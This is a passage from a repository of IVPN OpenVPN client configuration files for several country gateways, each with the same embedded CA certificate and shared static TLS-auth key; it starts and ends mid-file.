24 | MIIETjCCAzagAwIBAgIJANeN9f9F53lmMA0GCSqGSIb3DQEBBQUAMHcxCzAJBgNV
25 | BAYTAk1UMQ4wDAYDVQQIEwVNYWx0YTEOMAwGA1UEBxMFTWFsdGExETAPBgNVBAoT
26 | CElWUE4ubmV0MRQwEgYDVQQDEwtJVlBOLm5ldCBDQTEfMB0GCSqGSIb3DQEJARYQ
27 | c3VwcG9ydEBpdnBuLm5ldDAeFw0xMDA3MjQxNzQxMjBaFw0yMDA3MjExNzQxMjBa
28 | MHcxCzAJBgNVBAYTAk1UMQ4wDAYDVQQIEwVNYWx0YTEOMAwGA1UEBxMFTWFsdGEx
29 | ETAPBgNVBAoTCElWUE4ubmV0MRQwEgYDVQQDEwtJVlBOLm5ldCBDQTEfMB0GCSqG
30 | SIb3DQEJARYQc3VwcG9ydEBpdnBuLm5ldDCCASIwDQYJKoZIhvcNAQEBBQADggEP
31 | ADCCAQoCggEBANb0cvGYrnHwXm9vZiHGIlvKDo342dE8XyyA4iIyjeSDTnC2XTdu
32 | E/NPxQ2hc5Pi8DKFqzrmJ8qxmLRv3n+NGQsHiP+rKE2Wi6wQYzg12fgxmeLYenbH
33 | J8UzzVCg2YFe97LGs8cBZeirYKHyErP+Od7rYot6VyUKkb5FB+Tjql6GiyiWmxIv
34 | T9PKoFkXSI3riCiLIP1LwzLVcn0nhZvnXFk2EvVmhmjzdJWLNjqe3Zj78mQLzMdc
35 | XFBO28kaEaydvh2k/Beu17YUqGQDt2w4sbL+DPyjD+k/NusVzV4HggISfJAKfHZz
36 | G1cBFA3Hiu+jSkKOMJ4gC3f+WG4Hpj1XS7cCAwEAAaOB3DCB2TAdBgNVHQ4EFgQU
37 | vCA6yNJ+VUdFGuKo/EnEQZUz874wgakGA1UdIwSBoTCBnoAUvCA6yNJ+VUdFGuKo
38 | /EnEQZUz876he6R5MHcxCzAJBgNVBAYTAk1UMQ4wDAYDVQQIEwVNYWx0YTEOMAwG
39 | A1UEBxMFTWFsdGExETAPBgNVBAoTCElWUE4ubmV0MRQwEgYDVQQDEwtJVlBOLm5l
40 | dCBDQTEfMB0GCSqGSIb3DQEJARYQc3VwcG9ydEBpdnBuLm5ldIIJANeN9f9F53lm
41 | MAwGA1UdEwQFMAMBAf8wDQYJKoZIhvcNAQEFBQADggEBAFhU6MPf42dp5U0yPE0c
42 | ZS3g/pqd4GV4eBe7wYydv88FCScV8o2XGi3VruHKLbyGNxiD3OWwV81NNpLA8rFi
43 | vFgaKU+meWjCRQmptKWmoFpzPtCxB59D9zqYB0TaAuGOh084ioM+qC+MMXJzYY7c
44 | aXvOZ02b1lu44Z1GDIDxy1ONhajoRS59QmNpeoD3jtrVfGPmMwcR26TBj2nMudZK
45 | YMjYmbORgXu/0a/4jZ43B0mvRXCX64xOmwFZHioONhrxdtGA0pNwCXYWKyJ2pnLA
46 | 6VBoEr0Hku56c0ZIDVdi3EUmO/K/XmOmmp6htKELdvjR3goiS/fC/2XTSkIJe3Va
47 | 15U=
48 | -----END CERTIFICATE-----
49 |
50 |
51 | -----BEGIN OpenVPN Static key V1-----
52 | ac470c93ff9f5602a8aab37dee84a528
53 | 14d10f20490ad23c47d5d82120c1bf85
54 | 9e93d0696b455d4a1b8d55d40c2685c4
55 | 1ca1d0aef29a3efd27274c4ef09020a3
56 | 978fe45784b335da6df2d12db97bbb83
57 | 8416515f2a96f04715fd28949c6fe296
58 | a925cfada3f8b8928ed7fc963c156327
59 | 2f5cf46e5e1d9c845d7703ca881497b7
60 | e6564a9d1dea9358adffd435295479f4
61 | 7d5298fabf5359613ff5992cb57ff081
62 | a04dfb81a26513a6b44a9b5490ad265f
63 | 8a02384832a59cc3e075ad545461060b
64 | 7bcab49bac815163cb80983dd51d5b1f
65 | d76170ffd904d8291071e96efc3fb777
66 | 856c717b148d08a510f5687b8a8285dc
67 | ffe737b98916dd15ef6235dee4266d3b
68 | -----END OpenVPN Static key V1-----
69 |
70 |
71 |
--------------------------------------------------------------------------------
/ivpn-setup/ivpn-openvpn-config/Iceland.ovpn:
--------------------------------------------------------------------------------
1 | client
2 | dev tun
3 | proto udp
4 | remote is.gw.ivpn.net 2049
5 | auth-user-pass
6 |
7 | resolv-retry infinite
8 | nobind
9 | persist-tun
10 | persist-key
11 | persist-remote-ip
12 |
13 | cipher AES-256-CBC
14 | tls-cipher TLS-DHE-RSA-WITH-AES-256-CBC-SHA:TLS-DHE-DSS-WITH-AES-256-CBC-SHA:TLS-RSA-WITH-AES-256-CBC-SHA
15 | ns-cert-type server
16 | verify-x509-name is name-prefix
17 | key-direction 1
18 | comp-lzo
19 | verb 3
20 |
21 | ;ca ca.crt
22 |
23 | -----BEGIN CERTIFICATE-----
24 | MIIETjCCAzagAwIBAgIJANeN9f9F53lmMA0GCSqGSIb3DQEBBQUAMHcxCzAJBgNV
25 | BAYTAk1UMQ4wDAYDVQQIEwVNYWx0YTEOMAwGA1UEBxMFTWFsdGExETAPBgNVBAoT
26 | CElWUE4ubmV0MRQwEgYDVQQDEwtJVlBOLm5ldCBDQTEfMB0GCSqGSIb3DQEJARYQ
27 | c3VwcG9ydEBpdnBuLm5ldDAeFw0xMDA3MjQxNzQxMjBaFw0yMDA3MjExNzQxMjBa
28 | MHcxCzAJBgNVBAYTAk1UMQ4wDAYDVQQIEwVNYWx0YTEOMAwGA1UEBxMFTWFsdGEx
29 | ETAPBgNVBAoTCElWUE4ubmV0MRQwEgYDVQQDEwtJVlBOLm5ldCBDQTEfMB0GCSqG
30 | SIb3DQEJARYQc3VwcG9ydEBpdnBuLm5ldDCCASIwDQYJKoZIhvcNAQEBBQADggEP
31 | ADCCAQoCggEBANb0cvGYrnHwXm9vZiHGIlvKDo342dE8XyyA4iIyjeSDTnC2XTdu
32 | E/NPxQ2hc5Pi8DKFqzrmJ8qxmLRv3n+NGQsHiP+rKE2Wi6wQYzg12fgxmeLYenbH
33 | J8UzzVCg2YFe97LGs8cBZeirYKHyErP+Od7rYot6VyUKkb5FB+Tjql6GiyiWmxIv
34 | T9PKoFkXSI3riCiLIP1LwzLVcn0nhZvnXFk2EvVmhmjzdJWLNjqe3Zj78mQLzMdc
35 | XFBO28kaEaydvh2k/Beu17YUqGQDt2w4sbL+DPyjD+k/NusVzV4HggISfJAKfHZz
36 | G1cBFA3Hiu+jSkKOMJ4gC3f+WG4Hpj1XS7cCAwEAAaOB3DCB2TAdBgNVHQ4EFgQU
37 | vCA6yNJ+VUdFGuKo/EnEQZUz874wgakGA1UdIwSBoTCBnoAUvCA6yNJ+VUdFGuKo
38 | /EnEQZUz876he6R5MHcxCzAJBgNVBAYTAk1UMQ4wDAYDVQQIEwVNYWx0YTEOMAwG
39 | A1UEBxMFTWFsdGExETAPBgNVBAoTCElWUE4ubmV0MRQwEgYDVQQDEwtJVlBOLm5l
40 | dCBDQTEfMB0GCSqGSIb3DQEJARYQc3VwcG9ydEBpdnBuLm5ldIIJANeN9f9F53lm
41 | MAwGA1UdEwQFMAMBAf8wDQYJKoZIhvcNAQEFBQADggEBAFhU6MPf42dp5U0yPE0c
42 | ZS3g/pqd4GV4eBe7wYydv88FCScV8o2XGi3VruHKLbyGNxiD3OWwV81NNpLA8rFi
43 | vFgaKU+meWjCRQmptKWmoFpzPtCxB59D9zqYB0TaAuGOh084ioM+qC+MMXJzYY7c
44 | aXvOZ02b1lu44Z1GDIDxy1ONhajoRS59QmNpeoD3jtrVfGPmMwcR26TBj2nMudZK
45 | YMjYmbORgXu/0a/4jZ43B0mvRXCX64xOmwFZHioONhrxdtGA0pNwCXYWKyJ2pnLA
46 | 6VBoEr0Hku56c0ZIDVdi3EUmO/K/XmOmmp6htKELdvjR3goiS/fC/2XTSkIJe3Va
47 | 15U=
48 | -----END CERTIFICATE-----
49 |
50 |
51 | -----BEGIN OpenVPN Static key V1-----
52 | ac470c93ff9f5602a8aab37dee84a528
53 | 14d10f20490ad23c47d5d82120c1bf85
54 | 9e93d0696b455d4a1b8d55d40c2685c4
55 | 1ca1d0aef29a3efd27274c4ef09020a3
56 | 978fe45784b335da6df2d12db97bbb83
57 | 8416515f2a96f04715fd28949c6fe296
58 | a925cfada3f8b8928ed7fc963c156327
59 | 2f5cf46e5e1d9c845d7703ca881497b7
60 | e6564a9d1dea9358adffd435295479f4
61 | 7d5298fabf5359613ff5992cb57ff081
62 | a04dfb81a26513a6b44a9b5490ad265f
63 | 8a02384832a59cc3e075ad545461060b
64 | 7bcab49bac815163cb80983dd51d5b1f
65 | d76170ffd904d8291071e96efc3fb777
66 | 856c717b148d08a510f5687b8a8285dc
67 | ffe737b98916dd15ef6235dee4266d3b
68 | -----END OpenVPN Static key V1-----
69 |
70 |
71 |
--------------------------------------------------------------------------------
/ivpn-setup/ivpn-openvpn-config/Italy.ovpn:
--------------------------------------------------------------------------------
1 | client
2 | dev tun
3 | proto udp
4 | remote it.gw.ivpn.net 2049
5 | auth-user-pass
6 |
7 | resolv-retry infinite
8 | nobind
9 | persist-tun
10 | persist-key
11 | persist-remote-ip
12 |
13 | cipher AES-256-CBC
14 | tls-cipher TLS-DHE-RSA-WITH-AES-256-CBC-SHA:TLS-DHE-DSS-WITH-AES-256-CBC-SHA:TLS-RSA-WITH-AES-256-CBC-SHA
15 | ns-cert-type server
16 | verify-x509-name it name-prefix
17 | key-direction 1
18 | comp-lzo
19 | verb 3
20 |
21 | ;ca ca.crt
22 |
23 | -----BEGIN CERTIFICATE-----
24 | MIIETjCCAzagAwIBAgIJANeN9f9F53lmMA0GCSqGSIb3DQEBBQUAMHcxCzAJBgNV
25 | BAYTAk1UMQ4wDAYDVQQIEwVNYWx0YTEOMAwGA1UEBxMFTWFsdGExETAPBgNVBAoT
26 | CElWUE4ubmV0MRQwEgYDVQQDEwtJVlBOLm5ldCBDQTEfMB0GCSqGSIb3DQEJARYQ
27 | c3VwcG9ydEBpdnBuLm5ldDAeFw0xMDA3MjQxNzQxMjBaFw0yMDA3MjExNzQxMjBa
28 | MHcxCzAJBgNVBAYTAk1UMQ4wDAYDVQQIEwVNYWx0YTEOMAwGA1UEBxMFTWFsdGEx
29 | ETAPBgNVBAoTCElWUE4ubmV0MRQwEgYDVQQDEwtJVlBOLm5ldCBDQTEfMB0GCSqG
30 | SIb3DQEJARYQc3VwcG9ydEBpdnBuLm5ldDCCASIwDQYJKoZIhvcNAQEBBQADggEP
31 | ADCCAQoCggEBANb0cvGYrnHwXm9vZiHGIlvKDo342dE8XyyA4iIyjeSDTnC2XTdu
32 | E/NPxQ2hc5Pi8DKFqzrmJ8qxmLRv3n+NGQsHiP+rKE2Wi6wQYzg12fgxmeLYenbH
33 | J8UzzVCg2YFe97LGs8cBZeirYKHyErP+Od7rYot6VyUKkb5FB+Tjql6GiyiWmxIv
34 | T9PKoFkXSI3riCiLIP1LwzLVcn0nhZvnXFk2EvVmhmjzdJWLNjqe3Zj78mQLzMdc
35 | XFBO28kaEaydvh2k/Beu17YUqGQDt2w4sbL+DPyjD+k/NusVzV4HggISfJAKfHZz
36 | G1cBFA3Hiu+jSkKOMJ4gC3f+WG4Hpj1XS7cCAwEAAaOB3DCB2TAdBgNVHQ4EFgQU
37 | vCA6yNJ+VUdFGuKo/EnEQZUz874wgakGA1UdIwSBoTCBnoAUvCA6yNJ+VUdFGuKo
38 | /EnEQZUz876he6R5MHcxCzAJBgNVBAYTAk1UMQ4wDAYDVQQIEwVNYWx0YTEOMAwG
39 | A1UEBxMFTWFsdGExETAPBgNVBAoTCElWUE4ubmV0MRQwEgYDVQQDEwtJVlBOLm5l
40 | dCBDQTEfMB0GCSqGSIb3DQEJARYQc3VwcG9ydEBpdnBuLm5ldIIJANeN9f9F53lm
41 | MAwGA1UdEwQFMAMBAf8wDQYJKoZIhvcNAQEFBQADggEBAFhU6MPf42dp5U0yPE0c
42 | ZS3g/pqd4GV4eBe7wYydv88FCScV8o2XGi3VruHKLbyGNxiD3OWwV81NNpLA8rFi
43 | vFgaKU+meWjCRQmptKWmoFpzPtCxB59D9zqYB0TaAuGOh084ioM+qC+MMXJzYY7c
44 | aXvOZ02b1lu44Z1GDIDxy1ONhajoRS59QmNpeoD3jtrVfGPmMwcR26TBj2nMudZK
45 | YMjYmbORgXu/0a/4jZ43B0mvRXCX64xOmwFZHioONhrxdtGA0pNwCXYWKyJ2pnLA
46 | 6VBoEr0Hku56c0ZIDVdi3EUmO/K/XmOmmp6htKELdvjR3goiS/fC/2XTSkIJe3Va
47 | 15U=
48 | -----END CERTIFICATE-----
49 |
50 |
51 | -----BEGIN OpenVPN Static key V1-----
52 | ac470c93ff9f5602a8aab37dee84a528
53 | 14d10f20490ad23c47d5d82120c1bf85
54 | 9e93d0696b455d4a1b8d55d40c2685c4
55 | 1ca1d0aef29a3efd27274c4ef09020a3
56 | 978fe45784b335da6df2d12db97bbb83
57 | 8416515f2a96f04715fd28949c6fe296
58 | a925cfada3f8b8928ed7fc963c156327
59 | 2f5cf46e5e1d9c845d7703ca881497b7
60 | e6564a9d1dea9358adffd435295479f4
61 | 7d5298fabf5359613ff5992cb57ff081
62 | a04dfb81a26513a6b44a9b5490ad265f
63 | 8a02384832a59cc3e075ad545461060b
64 | 7bcab49bac815163cb80983dd51d5b1f
65 | d76170ffd904d8291071e96efc3fb777
66 | 856c717b148d08a510f5687b8a8285dc
67 | ffe737b98916dd15ef6235dee4266d3b
68 | -----END OpenVPN Static key V1-----
69 |
70 |
71 |
--------------------------------------------------------------------------------
/ivpn-setup/ivpn-openvpn-config/Netherlands.ovpn:
--------------------------------------------------------------------------------
1 | client
2 | dev tun
3 | proto udp
4 | remote nl.gw.ivpn.net 2049
5 | auth-user-pass
6 |
7 | resolv-retry infinite
8 | nobind
9 | persist-tun
10 | persist-key
11 | persist-remote-ip
12 |
13 | cipher AES-256-CBC
14 | tls-cipher TLS-DHE-RSA-WITH-AES-256-CBC-SHA:TLS-DHE-DSS-WITH-AES-256-CBC-SHA:TLS-RSA-WITH-AES-256-CBC-SHA
15 | ns-cert-type server
16 | verify-x509-name nl name-prefix
17 | key-direction 1
18 | comp-lzo
19 | verb 3
20 |
21 | ;ca ca.crt
22 |
23 | -----BEGIN CERTIFICATE-----
24 | MIIETjCCAzagAwIBAgIJANeN9f9F53lmMA0GCSqGSIb3DQEBBQUAMHcxCzAJBgNV
25 | BAYTAk1UMQ4wDAYDVQQIEwVNYWx0YTEOMAwGA1UEBxMFTWFsdGExETAPBgNVBAoT
26 | CElWUE4ubmV0MRQwEgYDVQQDEwtJVlBOLm5ldCBDQTEfMB0GCSqGSIb3DQEJARYQ
27 | c3VwcG9ydEBpdnBuLm5ldDAeFw0xMDA3MjQxNzQxMjBaFw0yMDA3MjExNzQxMjBa
28 | MHcxCzAJBgNVBAYTAk1UMQ4wDAYDVQQIEwVNYWx0YTEOMAwGA1UEBxMFTWFsdGEx
29 | ETAPBgNVBAoTCElWUE4ubmV0MRQwEgYDVQQDEwtJVlBOLm5ldCBDQTEfMB0GCSqG
30 | SIb3DQEJARYQc3VwcG9ydEBpdnBuLm5ldDCCASIwDQYJKoZIhvcNAQEBBQADggEP
31 | ADCCAQoCggEBANb0cvGYrnHwXm9vZiHGIlvKDo342dE8XyyA4iIyjeSDTnC2XTdu
32 | E/NPxQ2hc5Pi8DKFqzrmJ8qxmLRv3n+NGQsHiP+rKE2Wi6wQYzg12fgxmeLYenbH
33 | J8UzzVCg2YFe97LGs8cBZeirYKHyErP+Od7rYot6VyUKkb5FB+Tjql6GiyiWmxIv
34 | T9PKoFkXSI3riCiLIP1LwzLVcn0nhZvnXFk2EvVmhmjzdJWLNjqe3Zj78mQLzMdc
35 | XFBO28kaEaydvh2k/Beu17YUqGQDt2w4sbL+DPyjD+k/NusVzV4HggISfJAKfHZz
36 | G1cBFA3Hiu+jSkKOMJ4gC3f+WG4Hpj1XS7cCAwEAAaOB3DCB2TAdBgNVHQ4EFgQU
37 | vCA6yNJ+VUdFGuKo/EnEQZUz874wgakGA1UdIwSBoTCBnoAUvCA6yNJ+VUdFGuKo
38 | /EnEQZUz876he6R5MHcxCzAJBgNVBAYTAk1UMQ4wDAYDVQQIEwVNYWx0YTEOMAwG
39 | A1UEBxMFTWFsdGExETAPBgNVBAoTCElWUE4ubmV0MRQwEgYDVQQDEwtJVlBOLm5l
40 | dCBDQTEfMB0GCSqGSIb3DQEJARYQc3VwcG9ydEBpdnBuLm5ldIIJANeN9f9F53lm
41 | MAwGA1UdEwQFMAMBAf8wDQYJKoZIhvcNAQEFBQADggEBAFhU6MPf42dp5U0yPE0c
42 | ZS3g/pqd4GV4eBe7wYydv88FCScV8o2XGi3VruHKLbyGNxiD3OWwV81NNpLA8rFi
43 | vFgaKU+meWjCRQmptKWmoFpzPtCxB59D9zqYB0TaAuGOh084ioM+qC+MMXJzYY7c
44 | aXvOZ02b1lu44Z1GDIDxy1ONhajoRS59QmNpeoD3jtrVfGPmMwcR26TBj2nMudZK
45 | YMjYmbORgXu/0a/4jZ43B0mvRXCX64xOmwFZHioONhrxdtGA0pNwCXYWKyJ2pnLA
46 | 6VBoEr0Hku56c0ZIDVdi3EUmO/K/XmOmmp6htKELdvjR3goiS/fC/2XTSkIJe3Va
47 | 15U=
48 | -----END CERTIFICATE-----
49 |
50 |
51 | -----BEGIN OpenVPN Static key V1-----
52 | ac470c93ff9f5602a8aab37dee84a528
53 | 14d10f20490ad23c47d5d82120c1bf85
54 | 9e93d0696b455d4a1b8d55d40c2685c4
55 | 1ca1d0aef29a3efd27274c4ef09020a3
56 | 978fe45784b335da6df2d12db97bbb83
57 | 8416515f2a96f04715fd28949c6fe296
58 | a925cfada3f8b8928ed7fc963c156327
59 | 2f5cf46e5e1d9c845d7703ca881497b7
60 | e6564a9d1dea9358adffd435295479f4
61 | 7d5298fabf5359613ff5992cb57ff081
62 | a04dfb81a26513a6b44a9b5490ad265f
63 | 8a02384832a59cc3e075ad545461060b
64 | 7bcab49bac815163cb80983dd51d5b1f
65 | d76170ffd904d8291071e96efc3fb777
66 | 856c717b148d08a510f5687b8a8285dc
67 | ffe737b98916dd15ef6235dee4266d3b
68 | -----END OpenVPN Static key V1-----
69 |
70 |
71 |
--------------------------------------------------------------------------------
/ivpn-setup/ivpn-openvpn-config/Romania.ovpn:
--------------------------------------------------------------------------------
1 | client
2 | dev tun
3 | proto udp
4 | remote ro.gw.ivpn.net 2049
5 | auth-user-pass
6 |
7 | resolv-retry infinite
8 | nobind
9 | persist-tun
10 | persist-key
11 | persist-remote-ip
12 |
13 | cipher AES-256-CBC
14 | tls-cipher TLS-DHE-RSA-WITH-AES-256-CBC-SHA:TLS-DHE-DSS-WITH-AES-256-CBC-SHA:TLS-RSA-WITH-AES-256-CBC-SHA
15 | ns-cert-type server
16 | verify-x509-name ro name-prefix
17 | key-direction 1
18 | comp-lzo
19 | verb 3
20 |
21 | ;ca ca.crt
22 |
23 | -----BEGIN CERTIFICATE-----
24 | MIIETjCCAzagAwIBAgIJANeN9f9F53lmMA0GCSqGSIb3DQEBBQUAMHcxCzAJBgNV
25 | BAYTAk1UMQ4wDAYDVQQIEwVNYWx0YTEOMAwGA1UEBxMFTWFsdGExETAPBgNVBAoT
26 | CElWUE4ubmV0MRQwEgYDVQQDEwtJVlBOLm5ldCBDQTEfMB0GCSqGSIb3DQEJARYQ
27 | c3VwcG9ydEBpdnBuLm5ldDAeFw0xMDA3MjQxNzQxMjBaFw0yMDA3MjExNzQxMjBa
28 | MHcxCzAJBgNVBAYTAk1UMQ4wDAYDVQQIEwVNYWx0YTEOMAwGA1UEBxMFTWFsdGEx
29 | ETAPBgNVBAoTCElWUE4ubmV0MRQwEgYDVQQDEwtJVlBOLm5ldCBDQTEfMB0GCSqG
30 | SIb3DQEJARYQc3VwcG9ydEBpdnBuLm5ldDCCASIwDQYJKoZIhvcNAQEBBQADggEP
31 | ADCCAQoCggEBANb0cvGYrnHwXm9vZiHGIlvKDo342dE8XyyA4iIyjeSDTnC2XTdu
32 | E/NPxQ2hc5Pi8DKFqzrmJ8qxmLRv3n+NGQsHiP+rKE2Wi6wQYzg12fgxmeLYenbH
33 | J8UzzVCg2YFe97LGs8cBZeirYKHyErP+Od7rYot6VyUKkb5FB+Tjql6GiyiWmxIv
34 | T9PKoFkXSI3riCiLIP1LwzLVcn0nhZvnXFk2EvVmhmjzdJWLNjqe3Zj78mQLzMdc
35 | XFBO28kaEaydvh2k/Beu17YUqGQDt2w4sbL+DPyjD+k/NusVzV4HggISfJAKfHZz
36 | G1cBFA3Hiu+jSkKOMJ4gC3f+WG4Hpj1XS7cCAwEAAaOB3DCB2TAdBgNVHQ4EFgQU
37 | vCA6yNJ+VUdFGuKo/EnEQZUz874wgakGA1UdIwSBoTCBnoAUvCA6yNJ+VUdFGuKo
38 | /EnEQZUz876he6R5MHcxCzAJBgNVBAYTAk1UMQ4wDAYDVQQIEwVNYWx0YTEOMAwG
39 | A1UEBxMFTWFsdGExETAPBgNVBAoTCElWUE4ubmV0MRQwEgYDVQQDEwtJVlBOLm5l
40 | dCBDQTEfMB0GCSqGSIb3DQEJARYQc3VwcG9ydEBpdnBuLm5ldIIJANeN9f9F53lm
41 | MAwGA1UdEwQFMAMBAf8wDQYJKoZIhvcNAQEFBQADggEBAFhU6MPf42dp5U0yPE0c
42 | ZS3g/pqd4GV4eBe7wYydv88FCScV8o2XGi3VruHKLbyGNxiD3OWwV81NNpLA8rFi
43 | vFgaKU+meWjCRQmptKWmoFpzPtCxB59D9zqYB0TaAuGOh084ioM+qC+MMXJzYY7c
44 | aXvOZ02b1lu44Z1GDIDxy1ONhajoRS59QmNpeoD3jtrVfGPmMwcR26TBj2nMudZK
45 | YMjYmbORgXu/0a/4jZ43B0mvRXCX64xOmwFZHioONhrxdtGA0pNwCXYWKyJ2pnLA
46 | 6VBoEr0Hku56c0ZIDVdi3EUmO/K/XmOmmp6htKELdvjR3goiS/fC/2XTSkIJe3Va
47 | 15U=
48 | -----END CERTIFICATE-----
49 |
50 |
51 | -----BEGIN OpenVPN Static key V1-----
52 | ac470c93ff9f5602a8aab37dee84a528
53 | 14d10f20490ad23c47d5d82120c1bf85
54 | 9e93d0696b455d4a1b8d55d40c2685c4
55 | 1ca1d0aef29a3efd27274c4ef09020a3
56 | 978fe45784b335da6df2d12db97bbb83
57 | 8416515f2a96f04715fd28949c6fe296
58 | a925cfada3f8b8928ed7fc963c156327
59 | 2f5cf46e5e1d9c845d7703ca881497b7
60 | e6564a9d1dea9358adffd435295479f4
61 | 7d5298fabf5359613ff5992cb57ff081
62 | a04dfb81a26513a6b44a9b5490ad265f
63 | 8a02384832a59cc3e075ad545461060b
64 | 7bcab49bac815163cb80983dd51d5b1f
65 | d76170ffd904d8291071e96efc3fb777
66 | 856c717b148d08a510f5687b8a8285dc
67 | ffe737b98916dd15ef6235dee4266d3b
68 | -----END OpenVPN Static key V1-----
69 |
70 |
71 |
--------------------------------------------------------------------------------
/ivpn-setup/ivpn-openvpn-config/Sweden.ovpn:
--------------------------------------------------------------------------------
1 | client
2 | dev tun
3 | proto udp
4 | remote se.gw.ivpn.net 2049
5 | auth-user-pass
6 |
7 | resolv-retry infinite
8 | nobind
9 | persist-tun
10 | persist-key
11 | persist-remote-ip
12 |
13 | cipher AES-256-CBC
14 | tls-cipher TLS-DHE-RSA-WITH-AES-256-CBC-SHA:TLS-DHE-DSS-WITH-AES-256-CBC-SHA:TLS-RSA-WITH-AES-256-CBC-SHA
15 | ns-cert-type server
16 | verify-x509-name se name-prefix
17 | key-direction 1
18 | comp-lzo
19 | verb 3
20 |
21 | ;ca ca.crt
22 |
23 | -----BEGIN CERTIFICATE-----
24 | MIIETjCCAzagAwIBAgIJANeN9f9F53lmMA0GCSqGSIb3DQEBBQUAMHcxCzAJBgNV
25 | BAYTAk1UMQ4wDAYDVQQIEwVNYWx0YTEOMAwGA1UEBxMFTWFsdGExETAPBgNVBAoT
26 | CElWUE4ubmV0MRQwEgYDVQQDEwtJVlBOLm5ldCBDQTEfMB0GCSqGSIb3DQEJARYQ
27 | c3VwcG9ydEBpdnBuLm5ldDAeFw0xMDA3MjQxNzQxMjBaFw0yMDA3MjExNzQxMjBa
28 | MHcxCzAJBgNVBAYTAk1UMQ4wDAYDVQQIEwVNYWx0YTEOMAwGA1UEBxMFTWFsdGEx
29 | ETAPBgNVBAoTCElWUE4ubmV0MRQwEgYDVQQDEwtJVlBOLm5ldCBDQTEfMB0GCSqG
30 | SIb3DQEJARYQc3VwcG9ydEBpdnBuLm5ldDCCASIwDQYJKoZIhvcNAQEBBQADggEP
31 | ADCCAQoCggEBANb0cvGYrnHwXm9vZiHGIlvKDo342dE8XyyA4iIyjeSDTnC2XTdu
32 | E/NPxQ2hc5Pi8DKFqzrmJ8qxmLRv3n+NGQsHiP+rKE2Wi6wQYzg12fgxmeLYenbH
33 | J8UzzVCg2YFe97LGs8cBZeirYKHyErP+Od7rYot6VyUKkb5FB+Tjql6GiyiWmxIv
34 | T9PKoFkXSI3riCiLIP1LwzLVcn0nhZvnXFk2EvVmhmjzdJWLNjqe3Zj78mQLzMdc
35 | XFBO28kaEaydvh2k/Beu17YUqGQDt2w4sbL+DPyjD+k/NusVzV4HggISfJAKfHZz
36 | G1cBFA3Hiu+jSkKOMJ4gC3f+WG4Hpj1XS7cCAwEAAaOB3DCB2TAdBgNVHQ4EFgQU
37 | vCA6yNJ+VUdFGuKo/EnEQZUz874wgakGA1UdIwSBoTCBnoAUvCA6yNJ+VUdFGuKo
38 | /EnEQZUz876he6R5MHcxCzAJBgNVBAYTAk1UMQ4wDAYDVQQIEwVNYWx0YTEOMAwG
39 | A1UEBxMFTWFsdGExETAPBgNVBAoTCElWUE4ubmV0MRQwEgYDVQQDEwtJVlBOLm5l
40 | dCBDQTEfMB0GCSqGSIb3DQEJARYQc3VwcG9ydEBpdnBuLm5ldIIJANeN9f9F53lm
41 | MAwGA1UdEwQFMAMBAf8wDQYJKoZIhvcNAQEFBQADggEBAFhU6MPf42dp5U0yPE0c
42 | ZS3g/pqd4GV4eBe7wYydv88FCScV8o2XGi3VruHKLbyGNxiD3OWwV81NNpLA8rFi
43 | vFgaKU+meWjCRQmptKWmoFpzPtCxB59D9zqYB0TaAuGOh084ioM+qC+MMXJzYY7c
44 | aXvOZ02b1lu44Z1GDIDxy1ONhajoRS59QmNpeoD3jtrVfGPmMwcR26TBj2nMudZK
45 | YMjYmbORgXu/0a/4jZ43B0mvRXCX64xOmwFZHioONhrxdtGA0pNwCXYWKyJ2pnLA
46 | 6VBoEr0Hku56c0ZIDVdi3EUmO/K/XmOmmp6htKELdvjR3goiS/fC/2XTSkIJe3Va
47 | 15U=
48 | -----END CERTIFICATE-----
49 |
50 |
51 | -----BEGIN OpenVPN Static key V1-----
52 | ac470c93ff9f5602a8aab37dee84a528
53 | 14d10f20490ad23c47d5d82120c1bf85
54 | 9e93d0696b455d4a1b8d55d40c2685c4
55 | 1ca1d0aef29a3efd27274c4ef09020a3
56 | 978fe45784b335da6df2d12db97bbb83
57 | 8416515f2a96f04715fd28949c6fe296
58 | a925cfada3f8b8928ed7fc963c156327
59 | 2f5cf46e5e1d9c845d7703ca881497b7
60 | e6564a9d1dea9358adffd435295479f4
61 | 7d5298fabf5359613ff5992cb57ff081
62 | a04dfb81a26513a6b44a9b5490ad265f
63 | 8a02384832a59cc3e075ad545461060b
64 | 7bcab49bac815163cb80983dd51d5b1f
65 | d76170ffd904d8291071e96efc3fb777
66 | 856c717b148d08a510f5687b8a8285dc
67 | ffe737b98916dd15ef6235dee4266d3b
68 | -----END OpenVPN Static key V1-----
69 |
70 |
71 |
--------------------------------------------------------------------------------
/ivpn-setup/ivpn-openvpn-config/Switzerland.ovpn:
--------------------------------------------------------------------------------
1 | client
2 | dev tun
3 | proto udp
4 | remote ch.gw.ivpn.net 2049
5 | auth-user-pass
6 |
7 | resolv-retry infinite
8 | nobind
9 | persist-tun
10 | persist-key
11 | persist-remote-ip
12 |
13 | cipher AES-256-CBC
14 | tls-cipher TLS-DHE-RSA-WITH-AES-256-CBC-SHA:TLS-DHE-DSS-WITH-AES-256-CBC-SHA:TLS-RSA-WITH-AES-256-CBC-SHA
15 | ns-cert-type server
16 | verify-x509-name ch name-prefix
17 | key-direction 1
18 | comp-lzo
19 | verb 3
20 |
21 | ;ca ca.crt
22 |
23 | -----BEGIN CERTIFICATE-----
24 | MIIETjCCAzagAwIBAgIJANeN9f9F53lmMA0GCSqGSIb3DQEBBQUAMHcxCzAJBgNV
25 | BAYTAk1UMQ4wDAYDVQQIEwVNYWx0YTEOMAwGA1UEBxMFTWFsdGExETAPBgNVBAoT
26 | CElWUE4ubmV0MRQwEgYDVQQDEwtJVlBOLm5ldCBDQTEfMB0GCSqGSIb3DQEJARYQ
27 | c3VwcG9ydEBpdnBuLm5ldDAeFw0xMDA3MjQxNzQxMjBaFw0yMDA3MjExNzQxMjBa
28 | MHcxCzAJBgNVBAYTAk1UMQ4wDAYDVQQIEwVNYWx0YTEOMAwGA1UEBxMFTWFsdGEx
29 | ETAPBgNVBAoTCElWUE4ubmV0MRQwEgYDVQQDEwtJVlBOLm5ldCBDQTEfMB0GCSqG
30 | SIb3DQEJARYQc3VwcG9ydEBpdnBuLm5ldDCCASIwDQYJKoZIhvcNAQEBBQADggEP
31 | ADCCAQoCggEBANb0cvGYrnHwXm9vZiHGIlvKDo342dE8XyyA4iIyjeSDTnC2XTdu
32 | E/NPxQ2hc5Pi8DKFqzrmJ8qxmLRv3n+NGQsHiP+rKE2Wi6wQYzg12fgxmeLYenbH
33 | J8UzzVCg2YFe97LGs8cBZeirYKHyErP+Od7rYot6VyUKkb5FB+Tjql6GiyiWmxIv
